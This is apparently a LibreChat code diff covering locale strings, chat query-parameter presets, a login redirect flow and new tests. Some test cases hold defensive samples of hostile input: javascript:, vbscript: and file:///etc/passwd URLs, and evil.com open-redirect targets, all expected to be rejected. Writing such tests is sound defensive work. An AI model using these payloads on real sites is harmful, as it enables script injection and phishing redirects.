"com_ui_upload_invalid": "Nederīgs augšupielādējamais fails. Attēlam jābūt tādam, kas nepārsniedz ierobežojumu.",
"com_ui_upload_invalid_var": "Nederīgs augšupielādējams fails. Attēlam jābūt ne lielākam par {{0}} MB",
"com_ui_upload_ocr_text": "Augšupielādēt failu kā kontekstu",
- "com_ui_upload_provider": "Augšupielādēt pakalpojumu sniedzējam",
+ "com_ui_upload_provider": "Pievienot čatam",
"com_ui_upload_success": "Fails veiksmīgi augšupielādēts",
"com_ui_upload_type": "Izvēlieties augšupielādes veidu",
"com_ui_usage": "Izmantošana",
@@ -1482,7 +1486,7 @@
"com_ui_version_var": "Versija {{0}}",
"com_ui_versions": "Versijas",
"com_ui_view_memory": "Skatīt atmiņu",
- "com_ui_web_search": "Tīmekļa meklēšana",
+ "com_ui_web_search": "Meklēšana tīmeklī",
"com_ui_web_search_cohere_key": "Ievadiet Cohere API atslēgu",
"com_ui_web_search_firecrawl_url": "Firecrawl API URL (pēc izvēles)",
"com_ui_web_search_jina_key": "Ievadiet Jina API atslēgu",
diff --git a/client/src/mobile.css b/client/src/mobile.css
index 20eeb5d1da..0d31b41134 100644
--- a/client/src/mobile.css
+++ b/client/src/mobile.css
@@ -349,26 +349,6 @@
animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both;
}
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"] {
- scrollbar-gutter: stable !important;
- background-color: rgba(205, 205, 205, 0.66) !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar {
- width: 12px !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-thumb {
- background-color: rgba(56, 56, 56) !important;
- border-radius: 6px !important;
- border: 2px solid transparent !important;
- background-clip: padding-box !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-track {
- background-color: transparent !important;
-}
-
.cm-content:focus {
outline: none !important;
}
diff --git a/client/src/routes/ChatRoute.tsx b/client/src/routes/ChatRoute.tsx
index c8fea73470..dcb58c3f49 100644
--- a/client/src/routes/ChatRoute.tsx
+++ b/client/src/routes/ChatRoute.tsx
@@ -1,7 +1,7 @@
import { useEffect } from 'react';
-import { useParams } from 'react-router-dom';
import { useRecoilCallback, useRecoilValue } from 'recoil';
import { Spinner, useToastContext } from '@librechat/client';
+import { useParams, useSearchParams } from 'react-router-dom';
import { Constants, EModelEndpoint } from 'librechat-data-provider';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
import type { TPreset } from 'librechat-data-provider';
@@ -13,7 +13,13 @@ import {
useLocalize,
} from '~/hooks';
import { useGetConvoIdQuery, useGetStartupConfig, useGetEndpointsQuery } from '~/data-provider';
-import { getDefaultModelSpec, getModelSpecPreset, logger, isNotFoundError } from '~/utils';
+import {
+ getDefaultModelSpec,
+ getModelSpecPreset,
+ processValidSettings,
+ logger,
+ isNotFoundError,
+} from '~/utils';
import { ToolCallsMapProvider } from '~/Providers';
import ChatView from '~/components/Chat/ChatView';
import { NotificationSeverity } from '~/common';
@@ -36,6 +42,7 @@ export default function ChatRoute() {
useAppStartup({ startupConfig, user });
const index = 0;
+ const [searchParams] = useSearchParams();
const { conversationId = '' } = useParams();
useIdChangeEffect(conversationId);
const { hasSetConversation, conversation } = store.useCreateConversationAtom(index);
@@ -80,14 +87,34 @@ export default function ChatRoute() {
return;
}
- if (conversationId === Constants.NEW_CONVO && endpointsQuery.data && modelsQuery.data) {
+ const isNewConvo = conversationId === Constants.NEW_CONVO;
+
+ const getNewConvoPreset = () => {
const result = getDefaultModelSpec(startupConfig);
const spec = result?.default ?? result?.last;
+ const specPreset = spec ? getModelSpecPreset(spec) : undefined;
+
+ const queryParams: Record = {};
+ searchParams.forEach((value, key) => {
+ if (key !== 'prompt' && key !== 'q' && key !== 'submit') {
+ queryParams[key] = value;
+ }
+ });
+ const querySettings = processValidSettings(queryParams);
+
+ return Object.keys(querySettings).length > 0
+ ? { ...specPreset, ...querySettings }
+ : specPreset;
+ };
+
+ if (isNewConvo && endpointsQuery.data && modelsQuery.data) {
+ const preset = getNewConvoPreset();
+
logger.log('conversation', 'ChatRoute, new convo effect', conversation);
newConversation({
modelsData: modelsQuery.data,
template: conversation ? conversation : undefined,
- ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
+ ...(preset ? { preset } : {}),
});
hasSetConversation.current = true;
@@ -125,17 +152,17 @@ export default function ChatRoute() {
});
hasSetConversation.current = true;
} else if (
- conversationId === Constants.NEW_CONVO &&
+ isNewConvo &&
assistantListMap[EModelEndpoint.assistants] &&
assistantListMap[EModelEndpoint.azureAssistants]
) {
- const result = getDefaultModelSpec(startupConfig);
- const spec = result?.default ?? result?.last;
+ const preset = getNewConvoPreset();
+
logger.log('conversation', 'ChatRoute new convo, assistants effect', conversation);
newConversation({
modelsData: modelsQuery.data,
template: conversation ? conversation : undefined,
- ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
+ ...(preset ? { preset } : {}),
});
hasSetConversation.current = true;
} else if (
diff --git a/client/src/routes/Layouts/Startup.tsx b/client/src/routes/Layouts/Startup.tsx
index 9c9e0952dd..bb0e5ef254 100644
--- a/client/src/routes/Layouts/Startup.tsx
+++ b/client/src/routes/Layouts/Startup.tsx
@@ -1,9 +1,10 @@
import { useEffect, useState } from 'react';
import { Outlet, useNavigate, useLocation } from 'react-router-dom';
import type { TStartupConfig } from 'librechat-data-provider';
+import { TranslationKeys, useLocalize } from '~/hooks';
import { useGetStartupConfig } from '~/data-provider';
import AuthLayout from '~/components/Auth/AuthLayout';
-import { TranslationKeys, useLocalize } from '~/hooks';
+import { REDIRECT_PARAM, SESSION_KEY } from '~/utils';
const headerMap: Record = {
'/login': 'com_auth_welcome_back',
@@ -30,7 +31,12 @@ export default function StartupLayout({ isAuthenticated }: { isAuthenticated?: b
useEffect(() => {
if (isAuthenticated) {
- navigate('/c/new', { replace: true });
+ const hasPendingRedirect =
+ new URLSearchParams(window.location.search).has(REDIRECT_PARAM) ||
+ sessionStorage.getItem(SESSION_KEY) != null;
+ if (!hasPendingRedirect) {
+ navigate('/c/new', { replace: true });
+ }
}
if (data) {
setStartupConfig(data);
diff --git a/client/src/routes/Root.tsx b/client/src/routes/Root.tsx
index 3e6bff1457..b9adae032b 100644
--- a/client/src/routes/Root.tsx
+++ b/client/src/routes/Root.tsx
@@ -88,6 +88,7 @@ export default function Root() {
}
: undefined
}
+ {...{ inert: navVisible && isSmallScreen ? '' : undefined }}
>
diff --git a/client/src/routes/__tests__/StartupLayout.spec.tsx b/client/src/routes/__tests__/StartupLayout.spec.tsx
new file mode 100644
index 0000000000..372345fe1c
--- /dev/null
+++ b/client/src/routes/__tests__/StartupLayout.spec.tsx
@@ -0,0 +1,114 @@
+/* eslint-disable i18next/no-literal-string */
+import React from 'react';
+import { render, waitFor } from '@testing-library/react';
+import { createMemoryRouter, RouterProvider } from 'react-router-dom';
+import StartupLayout from '~/routes/Layouts/Startup';
+import { SESSION_KEY } from '~/utils';
+
+if (typeof Request === 'undefined') {
+ global.Request = class Request {
+ constructor(
+ public url: string,
+ public init?: RequestInit,
+ ) {}
+ } as any;
+}
+
+jest.mock('~/data-provider', () => ({
+ useGetStartupConfig: jest.fn(() => ({
+ data: null,
+ isFetching: false,
+ error: null,
+ })),
+}));
+
+jest.mock('~/hooks', () => ({
+ useLocalize: jest.fn(() => (key: string) => key),
+ TranslationKeys: {},
+}));
+
+jest.mock('~/components/Auth/AuthLayout', () => {
+ return function MockAuthLayout({ children }: { children: React.ReactNode }) {
+ return {children}
;
+ };
+});
+
+function ChildRoute() {
+ return Child
;
+}
+
+function NewConversation() {
+ return New Conversation
;
+}
+
+const createTestRouter = (initialEntry: string, isAuthenticated: boolean) =>
+ createMemoryRouter(
+ [
+ {
+ path: '/login',
+ element: ,
+ children: [{ index: true, element: }],
+ },
+ {
+ path: '/c/new',
+ element: ,
+ },
+ ],
+ { initialEntries: [initialEntry] },
+ );
+
+describe('StartupLayout — redirect race condition', () => {
+ beforeEach(() => {
+ sessionStorage.clear();
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
+ jest.restoreAllMocks();
+ });
+
+ it('navigates to /c/new when authenticated with no pending redirect', async () => {
+ window.history.replaceState({}, '', '/login');
+
+ const router = createTestRouter('/login', true);
+ render( );
+
+ await waitFor(() => {
+ expect(router.state.location.pathname).toBe('/c/new');
+ });
+ });
+
+ it('does NOT navigate to /c/new when redirect_to URL param is present', async () => {
+ window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
+
+ const router = createTestRouter('/login?redirect_to=%2Fc%2Fabc123', true);
+ render( );
+
+ await new Promise((resolve) => setTimeout(resolve, 100));
+
+ expect(router.state.location.pathname).toBe('/login');
+ });
+
+ it('does NOT navigate to /c/new when sessionStorage redirect is present', async () => {
+ window.history.replaceState({}, '', '/login');
+ sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+
+ const router = createTestRouter('/login', true);
+ render( );
+
+ await new Promise((resolve) => setTimeout(resolve, 100));
+
+ expect(router.state.location.pathname).toBe('/login');
+ });
+
+ it('does NOT navigate when not authenticated', async () => {
+ window.history.replaceState({}, '', '/login');
+
+ const router = createTestRouter('/login', false);
+ render( );
+
+ await new Promise((resolve) => setTimeout(resolve, 100));
+
+ expect(router.state.location.pathname).toBe('/login');
+ });
+});
diff --git a/client/src/routes/__tests__/useAuthRedirect.spec.tsx b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
index 19226aa29f..adb06e15bc 100644
--- a/client/src/routes/__tests__/useAuthRedirect.spec.tsx
+++ b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
@@ -33,9 +33,8 @@ function TestComponent() {
* Creates a test router with optional basename to verify navigation works correctly
* with subdirectory deployments (e.g., /librechat)
*/
-const createTestRouter = (basename = '/') => {
- // When using basename, initialEntries must include the basename
- const initialEntry = basename === '/' ? '/' : `${basename}/`;
+const createTestRouter = (basename = '/', initialEntry?: string) => {
+ const defaultEntry = basename === '/' ? '/' : `${basename}/`;
return createMemoryRouter(
[
@@ -47,10 +46,14 @@ const createTestRouter = (basename = '/') => {
path: '/login',
element: Login Page
,
},
+ {
+ path: '/c/:id',
+ element: ,
+ },
],
{
basename,
- initialEntries: [initialEntry],
+ initialEntries: [initialEntry ?? defaultEntry],
},
);
};
@@ -199,4 +202,104 @@ describe('useAuthRedirect', () => {
expect(testResult.isAuthenticated).toBe(true);
});
});
+
+ it('should include redirect_to param with encoded current path when redirecting', async () => {
+ (useAuthContext as jest.Mock).mockReturnValue({
+ user: null,
+ isAuthenticated: false,
+ });
+
+ const router = createTestRouter('/', '/c/abc123');
+ render( );
+
+ await waitFor(
+ () => {
+ expect(router.state.location.pathname).toBe('/login');
+ const search = router.state.location.search;
+ const params = new URLSearchParams(search);
+ const redirectTo = params.get('redirect_to');
+ expect(redirectTo).not.toBeNull();
+ expect(decodeURIComponent(redirectTo!)).toBe('/c/abc123');
+ },
+ { timeout: 1000 },
+ );
+ });
+
+ it('should encode query params and hash from the source URL', async () => {
+ (useAuthContext as jest.Mock).mockReturnValue({
+ user: null,
+ isAuthenticated: false,
+ });
+
+ const router = createTestRouter('/', '/c/abc123?q=hello&submit=true#section');
+ render( );
+
+ await waitFor(
+ () => {
+ expect(router.state.location.pathname).toBe('/login');
+ const params = new URLSearchParams(router.state.location.search);
+ const decoded = decodeURIComponent(params.get('redirect_to')!);
+ expect(decoded).toBe('/c/abc123?q=hello&submit=true#section');
+ },
+ { timeout: 1000 },
+ );
+ });
+
+ it('should not include basename in redirect_to param (prevents path doubling)', async () => {
+ (useAuthContext as jest.Mock).mockReturnValue({
+ user: null,
+ isAuthenticated: false,
+ });
+
+ /**
+ * Validates that React Router's useLocation() strips the basename before
+ * buildLoginRedirectUrl receives it, so redirect_to never contains
+ * the base prefix. The BASE_URL stripping logic inside buildLoginRedirectUrl
+ * (for callers using window.location.pathname) is tested in
+ * api-endpoints-subdir.spec.ts.
+ */
+ const router = createTestRouter('/librechat', '/librechat/c/abc123');
+ render( );
+
+ await waitFor(
+ () => {
+ expect(router.state.location.pathname).toBe('/librechat/login');
+ const search = router.state.location.search;
+ const params = new URLSearchParams(search);
+ const redirectTo = decodeURIComponent(params.get('redirect_to')!);
+ /** redirect_to should be /c/abc123, NOT /librechat/c/abc123
+ * because navigate() with basename will re-add the prefix */
+ expect(redirectTo).toBe('/c/abc123');
+ expect(redirectTo).not.toContain('/librechat/');
+ },
+ { timeout: 1000 },
+ );
+ });
+
+ it('should not append redirect_to when already on /login', async () => {
+ (useAuthContext as jest.Mock).mockReturnValue({
+ user: null,
+ isAuthenticated: false,
+ });
+
+ const router = createMemoryRouter(
+ [
+ {
+ path: '/login',
+ element: ,
+ },
+ ],
+ { initialEntries: ['/login'] },
+ );
+ render( );
+
+ await waitFor(
+ () => {
+ expect(router.state.location.pathname).toBe('/login');
+ },
+ { timeout: 1000 },
+ );
+
+ expect(router.state.location.search).toBe('');
+ });
});
diff --git a/client/src/routes/useAuthRedirect.ts b/client/src/routes/useAuthRedirect.ts
index 86d8103384..cc277cd74e 100644
--- a/client/src/routes/useAuthRedirect.ts
+++ b/client/src/routes/useAuthRedirect.ts
@@ -1,22 +1,28 @@
import { useEffect } from 'react';
-import { useNavigate } from 'react-router-dom';
+import { useLocation, useNavigate } from 'react-router-dom';
+import { buildLoginRedirectUrl } from 'librechat-data-provider';
import { useAuthContext } from '~/hooks';
export default function useAuthRedirect() {
const { user, roles, isAuthenticated } = useAuthContext();
const navigate = useNavigate();
+ const location = useLocation();
useEffect(() => {
const timeout = setTimeout(() => {
- if (!isAuthenticated) {
- navigate('/login', { replace: true });
+ if (isAuthenticated) {
+ return;
}
+
+ navigate(buildLoginRedirectUrl(location.pathname, location.search, location.hash), {
+ replace: true,
+ });
}, 300);
return () => {
clearTimeout(timeout);
};
- }, [isAuthenticated, navigate]);
+ }, [isAuthenticated, navigate, location]);
return {
user,
diff --git a/client/src/store/families.ts b/client/src/store/families.ts
index 7faec7aa9d..30b8211ab5 100644
--- a/client/src/store/families.ts
+++ b/client/src/store/families.ts
@@ -6,13 +6,18 @@ import {
atomFamily,
DefaultValue,
selectorFamily,
- useRecoilState,
useRecoilValue,
useSetRecoilState,
useRecoilCallback,
} from 'recoil';
import { LocalStorageKeys, isEphemeralAgentId, Constants } from 'librechat-data-provider';
-import type { TMessage, TPreset, TConversation, TSubmission } from 'librechat-data-provider';
+import type {
+ EModelEndpoint,
+ TConversation,
+ TSubmission,
+ TMessage,
+ TPreset,
+} from 'librechat-data-provider';
import type { TOptionSettings, ExtendedFile } from '~/common';
import {
clearModelForNonEphemeralAgent,
@@ -151,6 +156,54 @@ const allConversationsSelector = selector({
},
});
+const conversationIdByIndex = selectorFamily({
+ key: 'conversationIdByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.conversationId ?? null,
+});
+
+const conversationEndpointByIndex = selectorFamily({
+ key: 'conversationEndpointByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.endpoint ?? null,
+});
+
+const conversationModelByIndex = selectorFamily({
+ key: 'conversationModelByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.model ?? null,
+});
+
+const conversationSpecByIndex = selectorFamily({
+ key: 'conversationSpecByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.spec ?? null,
+});
+
+const conversationAgentIdByIndex = selectorFamily({
+ key: 'conversationAgentIdByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.agent_id ?? null,
+});
+
+const conversationAssistantIdByIndex = selectorFamily({
+ key: 'conversationAssistantIdByIndex',
+ get:
+ (index: string | number) =>
+ ({ get }) =>
+ get(conversationByIndex(index))?.assistant_id ?? null,
+});
+
const presetByIndex = atomFamily({
key: 'presetByIndex',
default: null,
@@ -268,19 +321,27 @@ const messagesSiblingIdxFamily = atomFamily({
function useCreateConversationAtom(key: string | number) {
const hasSetConversation = useSetConvoContext();
- const [keys, setKeys] = useRecoilState(conversationKeysAtom);
- const setConversation = useSetRecoilState(conversationByIndex(key));
+ const setKeys = useSetRecoilState(conversationKeysAtom);
const conversation = useRecoilValue(conversationByIndex(key));
+ const setConversation = useSetRecoilState(conversationByIndex(key));
useEffect(() => {
- if (!keys.includes(key)) {
- setKeys([...keys, key]);
- }
- }, [key, keys, setKeys]);
+ setKeys((prevKeys) => {
+ if (prevKeys.includes(key)) {
+ return prevKeys;
+ }
+ return [...prevKeys, key];
+ });
+ }, [key, setKeys]);
return { hasSetConversation, conversation, setConversation };
}
+function useSetConversationAtom(key: string | number) {
+ const { setConversation } = useCreateConversationAtom(key);
+ return { setConversation };
+}
+
function useClearConvoState() {
/** Clears all active conversations. Pass `true` to skip the first or root conversation */
const clearAllConversations = useRecoilCallback(
@@ -309,15 +370,7 @@ function useClearConvoState() {
return clearAllConversations;
}
-const conversationByKeySelector = selectorFamily({
- key: 'conversationByKeySelector',
- get:
- (index: string | number) =>
- ({ get }) => {
- const conversation = get(conversationByIndex(index));
- return conversation;
- },
-});
+const conversationByKeySelector = conversationByIndex;
function useClearSubmissionState() {
const clearAllSubmissions = useRecoilCallback(
@@ -411,9 +464,16 @@ export default {
messagesSiblingIdxFamily,
anySubmittingSelector,
allConversationsSelector,
+ conversationIdByIndex,
+ conversationEndpointByIndex,
+ conversationModelByIndex,
+ conversationSpecByIndex,
+ conversationAgentIdByIndex,
+ conversationAssistantIdByIndex,
conversationByKeySelector,
useClearConvoState,
useCreateConversationAtom,
+ useSetConversationAtom,
showMentionPopoverFamily,
globalAudioURLFamily,
activeRunFamily,
diff --git a/client/src/utils/__tests__/markdown.test.ts b/client/src/utils/__tests__/markdown.test.ts
index fcc0f169e6..9734e0e18a 100644
--- a/client/src/utils/__tests__/markdown.test.ts
+++ b/client/src/utils/__tests__/markdown.test.ts
@@ -1,4 +1,72 @@
-import { getMarkdownFiles } from '../markdown';
+import { isSafeUrl, getMarkdownFiles } from '../markdown';
+
+describe('isSafeUrl', () => {
+ it('allows https URLs', () => {
+ expect(isSafeUrl('https://example.com')).toBe(true);
+ });
+
+ it('allows http URLs', () => {
+ expect(isSafeUrl('http://example.com/path')).toBe(true);
+ });
+
+ it('allows mailto links', () => {
+ expect(isSafeUrl('mailto:user@example.com')).toBe(true);
+ });
+
+ it('allows tel links', () => {
+ expect(isSafeUrl('tel:+1234567890')).toBe(true);
+ });
+
+ it('allows relative paths', () => {
+ expect(isSafeUrl('/path/to/page')).toBe(true);
+ expect(isSafeUrl('./relative')).toBe(true);
+ expect(isSafeUrl('../parent')).toBe(true);
+ });
+
+ it('allows anchor links', () => {
+ expect(isSafeUrl('#section')).toBe(true);
+ });
+
+ it('blocks javascript: protocol', () => {
+ expect(isSafeUrl('javascript:alert(1)')).toBe(false);
+ });
+
+ it('blocks javascript: with leading whitespace', () => {
+ expect(isSafeUrl(' javascript:alert(1)')).toBe(false);
+ });
+
+ it('blocks javascript: with mixed case', () => {
+ expect(isSafeUrl('JavaScript:alert(1)')).toBe(false);
+ });
+
+ it('blocks data: protocol', () => {
+ expect(isSafeUrl('data:text/html,x ')).toBe(false);
+ });
+
+ it('blocks blob: protocol', () => {
+ expect(isSafeUrl('blob:http://example.com/uuid')).toBe(false);
+ });
+
+ it('blocks vbscript: protocol', () => {
+ expect(isSafeUrl('vbscript:MsgBox("xss")')).toBe(false);
+ });
+
+ it('blocks file: protocol', () => {
+ expect(isSafeUrl('file:///etc/passwd')).toBe(false);
+ });
+
+ it('blocks empty strings', () => {
+ expect(isSafeUrl('')).toBe(false);
+ });
+
+ it('blocks whitespace-only strings', () => {
+ expect(isSafeUrl(' ')).toBe(false);
+ });
+
+ it('blocks unknown/custom protocols', () => {
+ expect(isSafeUrl('custom:payload')).toBe(false);
+ });
+});
describe('markdown artifacts', () => {
describe('getMarkdownFiles', () => {
@@ -41,7 +109,7 @@ describe('markdown artifacts', () => {
const markdown = '# Test';
const files = getMarkdownFiles(markdown);
- expect(files['/components/ui/MarkdownRenderer.tsx']).toContain('import Markdown from');
+ expect(files['/components/ui/MarkdownRenderer.tsx']).toContain('import ReactMarkdown from');
expect(files['/components/ui/MarkdownRenderer.tsx']).toContain('MarkdownRendererProps');
expect(files['/components/ui/MarkdownRenderer.tsx']).toContain(
'export default MarkdownRenderer',
@@ -162,13 +230,29 @@ describe('markdown artifacts', () => {
});
describe('markdown component structure', () => {
- it('should generate a MarkdownRenderer component that uses marked-react', () => {
+ it('should generate a MarkdownRenderer component with safe markdown rendering', () => {
const files = getMarkdownFiles('# Test');
const rendererCode = files['/components/ui/MarkdownRenderer.tsx'];
- // Verify the component imports and uses Markdown from marked-react
- expect(rendererCode).toContain("import Markdown from 'marked-react'");
- expect(rendererCode).toContain('{content} ');
+ expect(rendererCode).toContain("import ReactMarkdown from 'react-markdown'");
+ expect(rendererCode).toContain("import remarkBreaks from 'remark-breaks'");
+ expect(rendererCode).toContain('skipHtml={true}');
+ expect(rendererCode).toContain('SAFE_PROTOCOLS');
+ expect(rendererCode).toContain('isSafeUrl');
+ expect(rendererCode).toContain('urlTransform={urlTransform}');
+ expect(rendererCode).toContain('remarkPlugins={remarkPlugins}');
+ expect(rendererCode).toContain('isSafeUrl(url) ? url : null');
+ });
+
+ it('should embed isSafeUrl logic matching the exported version', () => {
+ const files = getMarkdownFiles('# Test');
+ const rendererCode = files['/components/ui/MarkdownRenderer.tsx'];
+
+ expect(rendererCode).toContain("new Set(['http:', 'https:', 'mailto:', 'tel:'])");
+ expect(rendererCode).toContain('new URL(trimmed).protocol');
+ expect(rendererCode).toContain("trimmed.startsWith('/')");
+ expect(rendererCode).toContain("trimmed.startsWith('#')");
+ expect(rendererCode).toContain("trimmed.startsWith('.')");
});
it('should pass markdown content to the Markdown component', () => {
diff --git a/client/src/utils/__tests__/mermaid.test.ts b/client/src/utils/__tests__/mermaid.test.ts
new file mode 100644
index 0000000000..eb34c2c0f8
--- /dev/null
+++ b/client/src/utils/__tests__/mermaid.test.ts
@@ -0,0 +1,172 @@
+import {
+ fixSubgraphTitleContrast,
+ artifactFlowchartConfig,
+ inlineFlowchartConfig,
+ getMermaidFiles,
+} from '~/utils/mermaid';
+
+const makeSvg = (clusters: string): Element => {
+ const parser = new DOMParser();
+ const doc = parser.parseFromString(
+ `${clusters} `,
+ 'image/svg+xml',
+ );
+ return doc.querySelector('svg')!;
+};
+
+describe('mermaid config', () => {
+ describe('flowchart config invariants', () => {
+ it('inlineFlowchartConfig must have htmlLabels: false for blob URL rendering', () => {
+ expect(inlineFlowchartConfig.htmlLabels).toBe(false);
+ });
+
+ it('artifactFlowchartConfig must have htmlLabels: true for direct DOM injection', () => {
+ expect(artifactFlowchartConfig.htmlLabels).toBe(true);
+ });
+
+ it('both configs share the same base layout settings', () => {
+ expect(inlineFlowchartConfig.curve).toBe(artifactFlowchartConfig.curve);
+ expect(inlineFlowchartConfig.nodeSpacing).toBe(artifactFlowchartConfig.nodeSpacing);
+ expect(inlineFlowchartConfig.rankSpacing).toBe(artifactFlowchartConfig.rankSpacing);
+ expect(inlineFlowchartConfig.padding).toBe(artifactFlowchartConfig.padding);
+ });
+ });
+
+ describe('getMermaidFiles', () => {
+ const content = 'graph TD\n A-->B';
+
+ it('produces dark theme files when isDarkMode is true', () => {
+ const files = getMermaidFiles(content, true);
+ expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"');
+ expect(files['mermaid.css']).toContain('#212121');
+ });
+
+ it('produces neutral theme files when isDarkMode is false', () => {
+ const files = getMermaidFiles(content, false);
+ expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "neutral"');
+ expect(files['mermaid.css']).toContain('#FFFFFF');
+ });
+
+ it('defaults to dark mode when isDarkMode is omitted', () => {
+ const files = getMermaidFiles(content);
+ expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"');
+ });
+
+ it('includes securityLevel in generated component', () => {
+ const files = getMermaidFiles(content, true);
+ expect(files['/components/ui/MermaidDiagram.tsx']).toContain('securityLevel: "strict"');
+ });
+
+ it('includes all required file keys', () => {
+ const files = getMermaidFiles(content, true);
+ expect(files['diagram.mmd']).toBe(content);
+ expect(files['App.tsx']).toBeDefined();
+ expect(files['index.tsx']).toBeDefined();
+ expect(files['/components/ui/MermaidDiagram.tsx']).toBeDefined();
+ expect(files['mermaid.css']).toBeDefined();
+ });
+
+ it('uses artifact flowchart config with htmlLabels: true', () => {
+ const files = getMermaidFiles(content, true);
+ expect(files['/components/ui/MermaidDiagram.tsx']).toContain('"htmlLabels": true');
+ });
+
+ it('does not inject custom themeVariables into generated component', () => {
+ const darkFiles = getMermaidFiles(content, true);
+ const lightFiles = getMermaidFiles(content, false);
+ expect(darkFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables');
+ expect(lightFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables');
+ });
+
+ it('handles empty content', () => {
+ const files = getMermaidFiles('', true);
+ expect(files['diagram.mmd']).toBe('# No mermaid diagram content provided');
+ });
+ });
+
+ describe('fixSubgraphTitleContrast', () => {
+ it('darkens title text on light subgraph backgrounds (fill attribute)', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+ });
+
+ it('darkens title text on light subgraph backgrounds (inline style fill)', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+ });
+
+ it('lightens title text on dark subgraph backgrounds', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #f0f0f0');
+ });
+
+ it('leaves title text alone when contrast is already good', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+ });
+
+ it('skips clusters without a rect', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+ });
+
+ it('skips clusters with non-hex fills', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toBeNull();
+ });
+
+ it('sets dark fill when text has no explicit fill on light backgrounds', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+ });
+
+ it('preserves existing text style when appending fill override', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ const style = svg.querySelector('text')!.getAttribute('style')!;
+ expect(style).toContain('font-size: 14px');
+ expect(style).toContain('fill: #1a1a1a');
+ });
+
+ it('handles 3-char hex shorthand fills', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a');
+ });
+
+ it('avoids double semicolons when existing style has trailing semicolon', () => {
+ const svg = makeSvg(
+ 'Title ',
+ );
+ fixSubgraphTitleContrast(svg);
+ const style = svg.querySelector('text')!.getAttribute('style')!;
+ expect(style).not.toContain(';;');
+ expect(style).toContain('fill: #1a1a1a');
+ });
+ });
+});
diff --git a/client/src/utils/__tests__/redirect.test.ts b/client/src/utils/__tests__/redirect.test.ts
new file mode 100644
index 0000000000..6715608c0c
--- /dev/null
+++ b/client/src/utils/__tests__/redirect.test.ts
@@ -0,0 +1,184 @@
+import {
+ persistRedirectToSession,
+ getPostLoginRedirect,
+ isSafeRedirect,
+ SESSION_KEY,
+} from '../redirect';
+
+describe('isSafeRedirect', () => {
+ it('accepts a simple relative path', () => {
+ expect(isSafeRedirect('/c/new')).toBe(true);
+ });
+
+ it('accepts a path with query params and hash', () => {
+ expect(isSafeRedirect('/c/new?q=hello&submit=true#section')).toBe(true);
+ });
+
+ it('accepts a nested path', () => {
+ expect(isSafeRedirect('/dashboard/settings/profile')).toBe(true);
+ });
+
+ it('rejects an absolute http URL', () => {
+ expect(isSafeRedirect('https://evil.com')).toBe(false);
+ });
+
+ it('rejects an absolute http URL with path', () => {
+ expect(isSafeRedirect('https://evil.com/phishing')).toBe(false);
+ });
+
+ it('rejects a protocol-relative URL', () => {
+ expect(isSafeRedirect('//evil.com')).toBe(false);
+ });
+
+ it('rejects a bare domain', () => {
+ expect(isSafeRedirect('evil.com')).toBe(false);
+ });
+
+ it('rejects an empty string', () => {
+ expect(isSafeRedirect('')).toBe(false);
+ });
+
+ it('rejects /login to prevent redirect loops', () => {
+ expect(isSafeRedirect('/login')).toBe(false);
+ });
+
+ it('rejects /login with query params', () => {
+ expect(isSafeRedirect('/login?redirect_to=/c/new')).toBe(false);
+ });
+
+ it('rejects /login sub-paths', () => {
+ expect(isSafeRedirect('/login/2fa')).toBe(false);
+ });
+
+ it('rejects /login with hash', () => {
+ expect(isSafeRedirect('/login#foo')).toBe(false);
+ });
+
